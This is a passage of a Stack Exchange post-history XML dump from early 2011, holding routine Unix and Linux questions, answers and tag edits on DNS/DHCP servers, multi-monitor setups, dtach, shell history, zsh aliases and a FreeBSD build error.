  <row Id="13903" PostHistoryTypeId="2" PostId="6132" RevisionGUID="cddb3cb7-0107-4bcd-9e98-0a40afba8ecf" CreationDate="2011-01-19T16:43:06.130" UserId="732" Text="I wanted to do exactly what you want to do, but I did it with Linux.  I seriously doubt there's much difference in this case, however.&#xD;&#xA;&#xD;&#xA;I read IBM developerworks articles on DHCP and BIND, and got them up and running:&#xD;&#xA;http://www.ibm.com/developerworks/linux/tutorials/l-lpndns/&#xD;&#xA;http://www.ibm.com/developerworks/linux/tutorials/l-lpic2207/index.html&#xD;&#xA;http://www.ibm.com/developerworks/linux/tutorials/l-lpndhcp/index.html&#xD;&#xA;&#xD;&#xA;BIND ended up taking a long time for non-cached requests, and periodically Firefox/Chrome/Safari would decide to time out.  I ended up running DNSMASQ:&#xD;&#xA;&#xD;&#xA;http://www.thekelleys.org.uk/dnsmasq/doc.html" />
  <row Id="13904" PostHistoryTypeId="25" PostId="6122" RevisionGUID="79c028fb-4980-4f81-bbcb-eeaf36b77973" CreationDate="2011-01-19T16:55:42.860" Comment="http://twitter.com/#!/StackUnix/status/27771191313829888" />
  <row Id="13905" PostHistoryTypeId="2" PostId="6133" RevisionGUID="ea66004e-0142-4f16-96db-21422eedcaa8" CreationDate="2011-01-19T16:59:29.050" UserId="3976" Text="Are you running memtest with only the 1 (possible) faulty memory module (or a pair if they have to be paired)?  &#xD;&#xA;&#xD;&#xA;You could probably get a copy of the error report by using the kexec/kdump service, particularly if you can get a copy of the crashdump kernel someplace where the memory error doesn't occur.  You could also use the mem=128M kernel parameter to boot a system only using the first 128 megabytes of memory, to see if that gets you a working system." />
  <row Id="13906" PostHistoryTypeId="2" PostId="6134" RevisionGUID="8ac87d47-ae7f-41c4-aee7-f4d5fc549662" CreationDate="2011-01-19T17:26:53.570" UserId="1194" Text="I have a laptop running Ubuntu 9.04 with a dual-head setup: laptop panel + external monitor. I'd like to add another monitor but the laptop has a single VGA port, so my question is:  &#xD;&#xA;what are my options for setting up a triple-head system on a Linux laptop?&#xD;&#xA;&#xD;&#xA;(note that I'm open to &quot;distributed display&quot; systems such as [xdmx][1], if it's not too messy to set up :) )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dmx.sourceforge.net/" />
  <row Id="13907" PostHistoryTypeId="1" PostId="6134" RevisionGUID="8ac87d47-ae7f-41c4-aee7-f4d5fc549662" CreationDate="2011-01-19T17:26:53.570" UserId="1194" Text="How to use three monitors on a laptop?" />
  <row Id="13908" PostHistoryTypeId="3" PostId="6134" RevisionGUID="8ac87d47-ae7f-41c4-aee7-f4d5fc549662" CreationDate="2011-01-19T17:26:53.570" UserId="1194" Text="élaptopàémultiömonitorà" />
  <row Id="13910" PostHistoryTypeId="2" PostId="6136" RevisionGUID="5c21fdfa-4986-414e-8da8-0180286b5d95" CreationDate="2011-01-19T17:37:07.593" UserId="3848" Text="In a similar situation, I also found it useful to start the new shell in the same directory as the current one.  I used a recipe like this to start the shell.&#xD;&#xA;&#xD;&#xA;  exec ssh -t $HOST &quot;cd $DIR; $SHELL $parms&quot;&#xD;&#xA;&#xD;&#xA;The -t option is needed whenever you explicitly run a shell using ssh.  It causes a pseudo-tty to be created for the process.  This is necessary for history commands and other interactive features to work correctly.  Earlier lines in the script set DIR to the current directory and SHELL to the user's preferred shell.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13911" PostHistoryTypeId="5" PostId="5935" RevisionGUID="0daa5e22-15a5-463e-b545-b6fb0cbfe958" CreationDate="2011-01-19T17:38:50.787" UserId="3848" Comment="added 27 characters in body" Text="There are many UNIX-based systems.  Linux, AIX, Solaris, BSD, etc.  The original quote gives historical context that applies to all flavors.  If you look on any one specific system, you will see different results.  The last sentence of the original quote is specific to only some versions and distributions." />
  <row Id="13912" PostHistoryTypeId="2" PostId="6137" RevisionGUID="f870e4ef-294c-4e08-8840-6f45fcd408fa" CreationDate="2011-01-19T17:39:22.940" UserId="305" Text="You can use USB monitor. IIRC the Linux have support for those. You can also buy USB to VGA adapter. In any case there may be some problems with graphic card etc." />
  <row Id="13913" PostHistoryTypeId="2" PostId="6138" RevisionGUID="8e038522-f5c7-4b05-b584-8f27bba16817" CreationDate="2011-01-19T17:59:48.913" UserId="1946" Text="Isn't [GNU Screen][1] is what you are up to?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/screen/" />
  <row Id="13914" PostHistoryTypeId="5" PostId="6054" RevisionGUID="dfd6205a-7287-4aa8-aff3-295cdee07b3d" CreationDate="2011-01-19T18:00:03.130" UserId="3923" Comment="Can i haz meaningful sentence ?" Text="No, you can't do that using the rsync protocol ; it relies on modules to define access rights. You could do it through SSH though :&#xD;&#xA;&#xD;&#xA;    rsync -av user@10.171.73.23:/home/user/work/tests .&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13915" PostHistoryTypeId="5" PostId="6126" RevisionGUID="2ba6d1cf-5f44-4fe4-84d3-80c7bbfb81b3" CreationDate="2011-01-19T18:11:39.690" UserId="1390" Comment="don't give me non-answers such as use such and such utility." Text="I connected to my server:&#xD;&#xA;&#xD;&#xA;    $ ssh me@example.com&#xD;&#xA;&#xD;&#xA;While in the server, I open a `dtach` session with `vim`:&#xD;&#xA;&#xD;&#xA;    $ dtach -c \tmp\my-dtach-session-pipe vim&#xD;&#xA;&#xD;&#xA;Then my ssh session dies. I attempt to go back to my session:&#xD;&#xA;&#xD;&#xA;    $ ssh me@example.com&#xD;&#xA;    $ dtach -a \tmp\my-dtach-session-pipe&#xD;&#xA;&#xD;&#xA;I do not get vim, but instead just a blinking cursor. I cannot do anything from there, not even &lt;kbd&gt;ctrl+c&lt;/kbd&gt;, I can only detach the `dtach` with &lt;kbd&gt;ctrl+\&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;How can I get my dtach session back properly? Or am I missing the idea of how dtach is supposed to behave?&#xD;&#xA;&#xD;&#xA;N.B. I am well aware of the `tmux` and `screen` utilities." />
  <row Id="13916" PostHistoryTypeId="2" PostId="6139" RevisionGUID="aac7cca0-f4e5-46b2-8a13-2cec47fe2408" CreationDate="2011-01-19T18:18:33.657" UserId="3983" Text="Maybe with nohup? It's designed to let a job run after the shell is closed. &#xD;&#xA;&#xD;&#xA;You can also use screens. " />
  <row Id="13917" PostHistoryTypeId="6" PostId="6134" RevisionGUID="4e33cd09-302e-4562-ad37-833b1712969b" CreationDate="2011-01-19T18:35:29.627" UserId="885" Comment="edited tags" Text="élinuxàéxorgàélaptopàémultiömonitorà" />
  <row Id="13918" PostHistoryTypeId="2" PostId="6140" RevisionGUID="c0e01bc0-82eb-4e1c-ac25-af6d46464368" CreationDate="2011-01-19T19:02:55.537" UserId="3389" Text="`/sbin` - Binaries needed for booting, low-level system repair, or maintenance (run level 1 or S)&#xD;&#xA;&#xD;&#xA;`/bin` - Binaries needed for normal/standard system functioning at any run level.&#xD;&#xA;&#xD;&#xA;`/usr/bin` - Application/distribution binaries meant to be accessed by locally logged in users&#xD;&#xA;&#xD;&#xA;`/usr/sbin` - Application/distribution binaries that support or configure stuff in /sbin.  &#xD;&#xA;&#xD;&#xA;`/usr/share/bin` - Application/distribution binaries or scripts meant to be accesed via the web, i.e. Apache web applications&#xD;&#xA;&#xD;&#xA;`*local*` - Binaries not part of a distribution; locally compiled or manually installed.  There's usually never a `/local/bin` but always a `/usr/local/bin` and `/usr/local/share/bin`." />
  <row Id="13920" PostHistoryTypeId="2" PostId="6141" RevisionGUID="20eee51f-21ca-48aa-969b-e698876f5bcb" CreationDate="2011-01-19T19:10:55.247" UserId="885" Text="The easiest way for a one-off is&#xD;&#xA;&#xD;&#xA;    $ $SHELL&#xD;&#xA;    $$ unset HISTFILE&#xD;&#xA;    $$ secret-command&#xD;&#xA;    $$ exit&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;where `$` represents the prompt of the initial shell and `$$` represents the prompt of the subshell. This works in bash and zsh; in ksh you need `HISTFILE=/notwritable` instead. Note that what matters is the value of `HISTFILE` when the history file is written, not when the command is run. Bash, ksh and zsh write to the history file when they exit (zsh can do it more often depending on configuration).&#xD;&#xA;&#xD;&#xA;Alternatively, you can get bash or zsh to ignore lines matching certain patterns (this is already covered by other answers).&#xD;&#xA;&#xD;&#xA;Another possibility in zsh is&#xD;&#xA;&#xD;&#xA;    % fc -p&#xD;&#xA;    % secret-command&#xD;&#xA;    % fc -P&#xD;&#xA;&#xD;&#xA;`fc -p` pushes the current history list onto a stack and starts a new one that isn't associated with a save file. `fc -P` pops that unsaved history list off the stack and forgets about it altogether.&#xD;&#xA;&#xD;&#xA;While a process is running, the command and its arguments (and on some systems its environment as well) will show up in the process table (`ps` output). Root can see past commands in the [system accounting database](http://docstore.mik.ua/orelly/unix/upt/ch39_06.htm), and can do more logging without your control. And there'll probably be all kinds of forensic evidence that can show roughly what command you ran (such as file modification times). So you don't get privacy against determined eavesdroppers.&#xD;&#xA;" />
  <row Id="13921" PostHistoryTypeId="6" PostId="6094" RevisionGUID="ec459d99-1ad2-47c7-aee6-11966211bf9e" CreationDate="2011-01-19T19:11:52.873" UserId="885" Comment="edited tags" Text="ébashàésecurityàézshàécommandöhistoryà" />
  <row Id="13922" PostHistoryTypeId="2" PostId="6142" RevisionGUID="31fe16bf-4b74-45e9-9ccd-3b499bd29d75" CreationDate="2011-01-19T19:12:54.543" UserId="3466" Text="I'm running an ant (Java build tool) script on CentOS 5.5 that execs another java process. When I run the ant script in the background:&#xD;&#xA;&#xD;&#xA;    ant -f myfile.xml &amp;&gt; foo.out &amp;&#xD;&#xA;&#xD;&#xA;The forked process' state changes to stop and waits for input. As soon as I bring the process to the foreground  it starts again (no input required on my part)&#xD;&#xA;&#xD;&#xA;This does not occur on other machines running the same OS, CentOS 5.5.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13923" PostHistoryTypeId="1" PostId="6142" RevisionGUID="31fe16bf-4b74-45e9-9ccd-3b499bd29d75" CreationDate="2011-01-19T19:12:54.543" UserId="3466" Text="ant script stops, waiting for input when run in background" />
  <row Id="13924" PostHistoryTypeId="3" PostId="6142" RevisionGUID="31fe16bf-4b74-45e9-9ccd-3b499bd29d75" CreationDate="2011-01-19T19:12:54.543" UserId="3466" Text="ébashàéjoböcontrolà" />
  <row Id="13925" PostHistoryTypeId="2" PostId="6143" RevisionGUID="326613c4-e0a3-4409-ac94-abd85f911f4e" CreationDate="2011-01-19T19:14:25.283" UserId="3984" Text="I've just been monitoring my cpu usage in openoffice calc when cells have been copied vs when they haven't and seen a dramatic increase in cpu usage for the Xorg process. The additional rendering required is a box with scrolling dashed lines around the cells that have been copied. The issue stands regardless of whether the window is minimised.&#xD;&#xA;Obviously it takes /some/ cpu power to render, but to increase an i7 by a more or less constant 7% usage seems slightly overkill. If anything surely this should impact on the gpu?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13926" PostHistoryTypeId="1" PostId="6143" RevisionGUID="326613c4-e0a3-4409-ac94-abd85f911f4e" CreationDate="2011-01-19T19:14:25.283" UserId="3984" Text="xorg performance in openoffice" />
  <row Id="13927" PostHistoryTypeId="3" PostId="6143" RevisionGUID="326613c4-e0a3-4409-ac94-abd85f911f4e" CreationDate="2011-01-19T19:14:25.283" UserId="3984" Text="éxorgàécpuàégraphicsà" />
  <row Id="13928" PostHistoryTypeId="2" PostId="6144" RevisionGUID="7cd0e259-3b6e-4941-a1f1-97e3e9a84d04" CreationDate="2011-01-19T19:17:15.730" UserId="3309" Text="Telnet was designed as a remote terminal application utilizing a socket, plain text and a few control characters. Its use in this way has been mostly replaced by ssh. Any telnet client can be used to interface with any protocol that is implemented in plain text and that's how it's most commonly used today.&#xD;&#xA;&#xD;&#xA;Although telnet wasn't designed for this purpose it works perfectly using it this way. Netcat actually was designed for this exact use (opening a socket and spitting raw data over it for any purpose). I generally prefer netcat, but telnet is pretty much universally available." />
  <row Id="13929" PostHistoryTypeId="2" PostId="6145" RevisionGUID="29acc1ce-963d-4bab-8623-50220a95a0a5" CreationDate="2011-01-19T19:24:12.750" UserId="885" Text="Both FreeBSD and OpenBSD ship with BIND as the preinstalled name server. There is a good introduction in the [FreeBSD handbook](http://www.freebsd.org/doc/handbook/network-dns.html). For OpenBSD, there is a lot of information on [Kernel Panic](http://www.kernel-panic.it/openbsd/dns/index.html).&#xD;&#xA;&#xD;&#xA;FreeBSD doesn't include a DHCP server in its default installation, but officially recommends the ISC DHCP server; see the [handbook](http://www.freebsd.org/doc/handbook/network-dhcp.html#NETWORK-DHCP-SERVER). OpenBSD does include a DHCP server, there is a [tutorial in the FAQ](http://www.openbsd.org/faq/faq6.html#DHCPserver).&#xD;&#xA;&#xD;&#xA;For home use, there are alternatives such as [dnsmasq](http://www.thekelleys.org.uk/dnsmasq/doc.html) which are easier to configure but have fewer capabilities. Dnsmasq is suitable for embedded systems (many open source home routers run it), and includes both a simple name server (mostly for caching) and a simple DHCP server. It is available as a port on FreeBSD and OpenBSD.&#xD;&#xA;" />
  <row Id="13930" PostHistoryTypeId="6" PostId="6131" RevisionGUID="72064625-84b9-4a3f-911b-5ffe8f3e860f" CreationDate="2011-01-19T19:24:52.297" UserId="885" Comment="edited tags" Text="éinstallàéopensuseàéusbödriveà" />
  <row Id="13931" PostHistoryTypeId="6" PostId="6127" RevisionGUID="4ec0b122-7ce0-4422-bfe2-5e2c097d5b79" CreationDate="2011-01-19T19:26:20.483" UserId="885" Comment="edited tags" Text="ésudoàéenvironmentövariablesà" />
  <row Id="13932" PostHistoryTypeId="6" PostId="6118" RevisionGUID="d308d475-0dec-44d3-b867-5b10605e8928" CreationDate="2011-01-19T19:26:52.467" UserId="885" Comment="edited tags" Text="éxorgàéhardwareàéconfigurationàédualömonitorà" />
  <row Id="13933" PostHistoryTypeId="6" PostId="6143" RevisionGUID="bed3c4eb-b362-491e-bbae-d012b4d27244" CreationDate="2011-01-19T19:30:29.980" UserId="885" Comment="edited tags" Text="éxorgàéperformanceàécpuàéopenofficeà" />
  <row Id="13934" PostHistoryTypeId="25" PostId="6134" RevisionGUID="47f7c1e7-b779-4a23-b9d3-aa19d69e36e0" CreationDate="2011-01-19T19:55:43.027" Comment="http://twitter.com/#!/StackUnix/status/27816491038547968" />
  <row Id="13935" PostHistoryTypeId="2" PostId="6146" RevisionGUID="87ef1a1d-9288-49cd-a880-4015824f0f40" CreationDate="2011-01-19T20:06:37.723" UserId="3309" Text="Perhaps you did get what you want, but you need to redraw the screen? Try pressing `ctrl+L`." />
  <row Id="13936" PostHistoryTypeId="4" PostId="6126" RevisionGUID="ce571974-2c83-4806-a1e5-d66dbabed9e4" CreationDate="2011-01-19T20:14:27.397" UserId="1390" Comment="title" Text="Dtach and Vim over Ssh: Reattach Session" />
  <row Id="13937" PostHistoryTypeId="6" PostId="6126" RevisionGUID="29ff1bd9-10ba-4d33-b940-60b9cddf9d04" CreationDate="2011-01-19T20:29:10.703" UserId="885" Comment="edited tags" Text="ésshàéterminalàénohupàédtachà" />
  <row Id="13938" PostHistoryTypeId="2" PostId="6147" RevisionGUID="997997d2-0ba2-4653-a32d-82d7b3ba886d" CreationDate="2011-01-19T20:36:48.020" UserId="3455" Text="If your BIOS supports 'boot from usb' as an option in the boot loader (cd, hdd, net, floppy etc).&#xD;&#xA;&#xD;&#xA;You can create an bootable image on a usb drive. I've done so with Debian, but here is a howto for OpenSUSE I pulled from a search result that should apply to you.&#xD;&#xA;&#xD;&#xA;http://en.opensuse.org/SDB:Live_USB_stick&#xD;&#xA;&#xD;&#xA;Once you have your image on the usb (note that it wipes your usb) just configure your bios, and reboot with the usb drive inserted. It should boot from the usb and continue with the install. " />
  <row Id="13939" PostHistoryTypeId="2" PostId="6148" RevisionGUID="8c3d38ae-4ce7-4e23-a245-8970fe4b02d8" CreationDate="2011-01-19T20:56:51.290" UserId="3976" Text="I've found that turning off &quot;Anti-Aliasing&quot; speeds up OpenOffice on my system.  The setting is in Tools-&gt;Options, OpenOffice.org-&gt;View.  You might also want to experiment with turning on and off Hardware Acceleration." />
  <row Id="13940" PostHistoryTypeId="2" PostId="6149" RevisionGUID="c0c55b4d-626f-4981-a776-ae65604b0ab5" CreationDate="2011-01-19T21:08:49.220" UserId="3976" Text="You could try using the tool monitor-edid (http://wiki.mandriva.com/en/Tools/monitor-edid monitor-edid), which produces output like this&#xD;&#xA;&#xD;&#xA;    Name: DELL 2407WFP&#xD;&#xA;    EISA ID: DELa017&#xD;&#xA;    EDID version: 1.3&#xD;&#xA;    EDID extension blocks: 0&#xD;&#xA;    Screen size: 52.0 cm x 33.0 cm (24.25 inches, aspect ratio 16/10 = 1.60)&#xD;&#xA;    Gamma: 2.2&#xD;&#xA;    Digital signal&#xD;&#xA;    Max video bandwidth: 170 MHz&#xD;&#xA;    &#xD;&#xA;        HorizSync 30-83&#xD;&#xA;    	VertRefresh 56-76&#xD;&#xA;    &#xD;&#xA;    	# Monitor preferred modeline (60.0 Hz vsync, 74.0 kHz hsync, ratio 16/1)&#xD;&#xA;    	ModeLine &quot;1920x1200&quot; 154 1920 1968 2000 2080 1200 1203 1209 1235 -hsyncc&#xD;&#xA;&#xD;&#xA;This is useful if you don't want to have X running when you want to probe your monitor information.&#xD;&#xA;" />
  <row Id="13941" PostHistoryTypeId="2" PostId="6150" RevisionGUID="ccdfda51-33bb-45e9-8990-35c5d1c8b3aa" CreationDate="2011-01-19T21:13:19.930" UserId="3990" Text="A wine application (Anarchy online, great game try it some time) is behaving very strangely.&#xD;&#xA;&#xD;&#xA;While rendering correctly, Xorg isn't picking up on it's existence, and because of this the game only refreshes it's image when another application requests that portion of the screen to be updated.&#xD;&#xA;&#xD;&#xA;For example, I will get maximum framerate if I move the window, or go into the compiz cube, while placing a terminal with top running in it behind the game will make that portion of the screen render at 3 fps (In the video I will link it's running `top -d 1.0` hence the 1 fps) whereas a quickly updating window shows the game at a more reasonable framerate.&#xD;&#xA;&#xD;&#xA;In the [video][1] I have uploaded you can see this strange behavior, as the output from the game and the `top` combine to basically split the game between fast fps and slow fps in real-time.&#xD;&#xA;&#xD;&#xA;[Video of Xorg/wine issue][1] (AFAIK can only be opened in totem and VLC, recordmydesktop is bugged)&#xD;&#xA;&#xD;&#xA;[Wine bug report][2]&#xD;&#xA;&#xD;&#xA;Does anyone know how to fix this problem? Quick xorg config file? Recompile wine? I'll settle for a cheap trick (Other than putting a looping terminal behind the game every time, that really drains CPU)&#xD;&#xA;&#xD;&#xA;[1]: http://www.speedyshare.com/files/26361066/ao-render-framerate-bug.ogv&#xD;&#xA;[2]: http://bugs.winehq.org/show_bug.cgi?id=25821" />
  <row Id="13942" PostHistoryTypeId="1" PostId="6150" RevisionGUID="ccdfda51-33bb-45e9-8990-35c5d1c8b3aa" CreationDate="2011-01-19T21:13:19.930" UserId="3990" Text="Xorg ignoring wine application" />
  <row Id="13943" PostHistoryTypeId="3" PostId="6150" RevisionGUID="ccdfda51-33bb-45e9-8990-35c5d1c8b3aa" CreationDate="2011-01-19T21:13:19.930" UserId="3990" Text="éxorgàéwineà" />
  <row Id="13944" PostHistoryTypeId="2" PostId="6151" RevisionGUID="d4964dd5-1c1b-4254-8de0-74e81fafd81f" CreationDate="2011-01-19T21:14:28.700" UserId="3069" Text="I think you can prevent this by passing a `WINCH` signal to `dtach`:&#xD;&#xA;&#xD;&#xA;    dtach -c /tmp/my-dtach-session-pipe -r winch vim&#xD;&#xA;&#xD;&#xA;Or at reattachment:&#xD;&#xA;&#xD;&#xA;    dtach -a /tmp/my-dtach-session-pipe -r winch" />
  <row Id="13945" PostHistoryTypeId="5" PostId="6151" RevisionGUID="0ef4cc97-e751-427f-835c-37407b8ccbaf" CreationDate="2011-01-19T21:20:02.033" UserId="3069" Comment="added 55 characters in body" Text="I think you can prevent this by passing a [`WINCH`][1] signal to `dtach`:&#xD;&#xA;&#xD;&#xA;    dtach -c /tmp/my-dtach-session-pipe -r winch vim&#xD;&#xA;&#xD;&#xA;Or at reattachment:&#xD;&#xA;&#xD;&#xA;    dtach -a /tmp/my-dtach-session-pipe -r winch&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/SIGWINCH" />
  <row Id="13946" PostHistoryTypeId="5" PostId="6146" RevisionGUID="41e1402b-4297-443d-a67f-da379ec12d39" CreationDate="2011-01-19T21:43:14.140" UserId="1207" Comment="added 11 characters in body" Text="Perhaps you did get what you want, but you need to redraw the screen? Try pressing &lt;kbd&gt;CTRL + L&lt;/kbd&gt;." />
  <row Id="13947" PostHistoryTypeId="2" PostId="6152" RevisionGUID="288339e4-73e0-4d49-8cba-47e7d6e60f53" CreationDate="2011-01-19T22:08:28.063" UserId="3611" Text="Is it possible to configure zsh to expand global aliases during tab completion?  For example, I have the common aliases:&#xD;&#xA;&#xD;&#xA;    alias -g '...'='../..'&#xD;&#xA;    alias -g '....'='../../..'&#xD;&#xA;&#xD;&#xA;but when I type for example `cd .../some&lt;tab&gt;` it won't expand to `cd .../something` or `cd ../../something`.  Consequently, I frequently won't use these handy aliases because I can't tab complete where I want to go.&#xD;&#xA;&#xD;&#xA;n.b. cross-post from stackoverflow." />
  <row Id="13948" PostHistoryTypeId="1" PostId="6152" RevisionGUID="288339e4-73e0-4d49-8cba-47e7d6e60f53" CreationDate="2011-01-19T22:08:28.063" UserId="3611" Text="zsh alias expansion" />
  <row Id="13949" PostHistoryTypeId="3" PostId="6152" RevisionGUID="288339e4-73e0-4d49-8cba-47e7d6e60f53" CreationDate="2011-01-19T22:08:28.063" UserId="3611" Text="ézshà" />
  <row Id="13950" PostHistoryTypeId="2" PostId="6153" RevisionGUID="7e23cb0a-000f-4b05-93f3-969f329c2ca7" CreationDate="2011-01-19T22:18:26.687" UserId="3991" Text="After I found and selected my connection, I tried ALL the different methods of attack. It follows the steps from: Associating to Gathering Packet. Only once it made it to the Building Arp step. It never goes passed these steps to the final stage." />
  <row Id="13951" PostHistoryTypeId="1" PostId="6153" RevisionGUID="7e23cb0a-000f-4b05-93f3-969f329c2ca7" CreationDate="2011-01-19T22:18:26.687" UserId="3991" Text="How can I get spoonwep2 to work on a cdLinux live system?" />
  <row Id="13952" PostHistoryTypeId="3" PostId="6153" RevisionGUID="7e23cb0a-000f-4b05-93f3-969f329c2ca7" CreationDate="2011-01-19T22:18:26.687" UserId="3991" Text="élinuxàéwirelessàélivecdàéwifià" />
  <row Id="13953" PostHistoryTypeId="2" PostId="6154" RevisionGUID="9177a479-2454-4a04-acfd-e9a947de7fb0" CreationDate="2011-01-19T22:35:21.683" UserId="872" Text="Try looking up **zsh abbreviations**. They allow you to enter an &quot;abbreviation&quot; which automatically gets replaced with its full form when you hit a magic key such as space. So you can create one which changes `...&lt;SPACE&gt;` to `../..`. &#xD;&#xA;&#xD;&#xA;For example, this is what you need in your profile:&#xD;&#xA;&#xD;&#xA;    typeset -A abbrevs&#xD;&#xA;    abbrevs=(&#xD;&#xA;            &quot;...&quot; &quot;../..&quot;&#xD;&#xA;            &quot;....&quot; &quot;../../..&quot;        &#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;    #create aliases for the abbrevs too&#xD;&#xA;    for abbr in ${(k)abbrevs}; do&#xD;&#xA;       alias -g $abbr=&quot;${abbrevs[$abbr]}&quot;&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    my-expand-abbrev() {&#xD;&#xA;        local MATCH&#xD;&#xA;        LBUFFER=${LBUFFER%%(#m)[_a-zA-Z0-9]#}&#xD;&#xA;        LBUFFER+=${abbrevs[$MATCH]:-$MATCH}&#xD;&#xA;        zle self-insert&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    bindkey &quot; &quot; my-expand-abbrev " />
  <row Id="13954" PostHistoryTypeId="25" PostId="6152" RevisionGUID="9c277377-9105-4331-8381-c138f6e5b178" CreationDate="2011-01-19T22:55:42.997" Comment="http://twitter.com/#!/StackUnix/status/27861789463027714" />
  <row Id="13955" PostHistoryTypeId="2" PostId="6155" RevisionGUID="4160dbc4-1fa5-4ab1-a83d-da346b14ee60" CreationDate="2011-01-19T23:23:01.450" UserId="1974" Text="My current `screen` session has 12 open windows on it. It's been running for weeks... I know I executed an ImageMagick `convert` command in *one* of these 12 screen windows sometime last week... is there any way I can easily search through the Bash history of all 12 instances, without closing them or running `history | grep convert` in all 12 screens?" />
  <row Id="13956" PostHistoryTypeId="1" PostId="6155" RevisionGUID="4160dbc4-1fa5-4ab1-a83d-da346b14ee60" CreationDate="2011-01-19T23:23:01.450" UserId="1974" Text="Can I easily search my history across many screen windows?" />
  <row Id="13957" PostHistoryTypeId="3" PostId="6155" RevisionGUID="4160dbc4-1fa5-4ab1-a83d-da346b14ee60" CreationDate="2011-01-19T23:23:01.450" UserId="1974" Text="ébashàéhistoryàéscreenà" />
  <row Id="13958" PostHistoryTypeId="2" PostId="6156" RevisionGUID="4aa75f24-6294-4210-99e4-135c60c3abb0" CreationDate="2011-01-19T23:44:55.560" UserId="3992" Text="Try using yast software tool or zypper from the command-line." />
  <row Id="13959" PostHistoryTypeId="2" PostId="6157" RevisionGUID="0f1635f3-29b5-4ae1-bdb5-e4321bf3f50c" CreationDate="2011-01-19T23:49:25.910" UserId="885" Text="Sounds difficult. Here are a couple of methods that may work for you.&#xD;&#xA;&#xD;&#xA;If you have process accounting tools installed (on Linux, look for a package called `acct`) and the permission to use them, you can find out when and possibly on what terminal you ran `convert`:&#xD;&#xA;&#xD;&#xA;    lastcomm convert&#xD;&#xA;&#xD;&#xA;If this is unavailable or unconclusive, you can execute a `history` command in each instance of bash to look for `convert` commands. This will find commands that were in the history file when bash started as well.&#xD;&#xA;&#xD;&#xA;    : &gt;/tmp/convert.history&#xD;&#xA;    for w in $(seq 0 11); do&#xD;&#xA;      screen -p $w -X stuff \&#xD;&#xA;        'history | sed 's/^.*convert/'$w'&amp;/&quot; &gt;&gt;/tmp/convert.history&#xD;&#xA;    '; done&#xD;&#xA;&#xD;&#xA;* `$(seq 0 11)` iterates over the numbers of your screen windows. Make sure to skip windows that are not currently running bash but some other process that would interpret input differently.&#xD;&#xA;* `screen -p $w stuff …` sends the following string as input to the specified window. You need the newline at the end of the string.&#xD;&#xA;* The file `/tmp/convert.history` will contain a list of lines like `3 convert foo.jpg`, if you ran `convert foo.jpg` in window 3.&#xD;&#xA;" />
  <row Id="13960" PostHistoryTypeId="2" PostId="6158" RevisionGUID="db3cb194-7baa-4895-9b1d-74fcd7d842f5" CreationDate="2011-01-19T23:51:17.787" UserId="3992" Text="Read the [release notes][1]&#xD;&#xA;&#xD;&#xA;Basically, you can use your favorite text editor to edit /boot/grub/menu.lst as root. Add nomodeset to the kernel boot line.&#xD;&#xA;&#xD;&#xA;Or set the NO_KMS_IN_INITRD sysconfig variable to yes via YAST.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.suse.com/relnotes/i386/openSUSE/11.3/RELEASE-NOTES.en.html" />
  <row Id="13961" PostHistoryTypeId="6" PostId="6155" RevisionGUID="08bad5e4-3517-4154-b649-5094abfd007c" CreationDate="2011-01-20T00:11:46.693" UserId="885" Comment="edited tags" Text="ébashàéscreenàécommandöhistoryà" />
  <row Id="13962" PostHistoryTypeId="6" PostId="5684" RevisionGUID="76f9167f-a389-4c87-911a-9260e492516c" CreationDate="2011-01-20T00:12:08.500" UserId="885" Comment="edited tags" Text="éscriptingàécommandöhistoryà" />
  <row Id="13963" PostHistoryTypeId="6" PostId="5684" RevisionGUID="52f502bd-2da0-44a4-90a7-c05657e3209b" CreationDate="2011-01-20T00:12:18.720" UserId="885" Comment="edited tags" Text="ébashàécommandöhistoryàéscriptingà" />
  <row Id="13964" PostHistoryTypeId="25" PostId="6155" RevisionGUID="9fb34f4b-a599-4313-8d86-156140a73158" CreationDate="2011-01-20T01:55:42.640" Comment="http://twitter.com/#!/StackUnix/status/27907086620819456" />
  <row Id="13965" PostHistoryTypeId="2" PostId="6159" RevisionGUID="33bc41c3-17b9-455b-88ce-72cfac1490fb" CreationDate="2011-01-20T02:23:31.990" UserId="3309" Text="Bash only writes the history when it exits, which makes this problematic at best. I've heard that zsh can share history between active sessions." />
  <row Id="13966" PostHistoryTypeId="2" PostId="6160" RevisionGUID="1bdd13e9-8c5d-43e7-834c-409ed9fd3509" CreationDate="2011-01-20T02:53:46.520" UserId="3927" Text="Hello, I'm having a trouble while installing php5-pdo_mysql in my FreeBSD environment.&#xD;&#xA;Everytime I trys to do /usr/ports/databases/php5-pdo_mysql make install&#xD;&#xA;the console gives me this error:&#xD;&#xA;&#xD;&#xA;    /usr/ports/databases/php5-pdo_mysql/work/php-5.3.5/ext/pdo_mysql/mysql_driver.c:&#xD;&#xA;    501: error: too many arguments to function 'pdo_mysql_globals.dbg-&gt;m-&gt;func_leave'&#xD;&#xA;&#xD;&#xA;    /usr/ports/databases/php5-pdo_mysql/work/php-5.3.5/ext/pdo_mysql/mysql_driver.c:&#xD;&#xA;    In function 'pdo_mysql_check_liveness':&#xD;&#xA;    /usr/ports/databases/php5-pdo_mysql/work/php-5.3.5/ext/pdo_mysql/mysql_driver.c:&#xD;&#xA;    519: error: too many arguments to function 'pdo_mysql_globals.dbg-&gt;m-&gt;func_leave'&#xD;&#xA;&#xD;&#xA;    /usr/ports/databases/php5-pdo_mysql/work/php-5.3.5/ext/pdo_mysql/mysql_driver.c:&#xD;&#xA;    534: error: too many arguments to function 'pdo_mysql_globals.dbg-&gt;m-&gt;func_leave'&#xD;&#xA;&#xD;&#xA;    /usr/ports/databases/php5-pdo_mysql/work/php-5.3.5/ext/pdo_mysql/mysql_driver.c: &#xD;&#xA;    In function 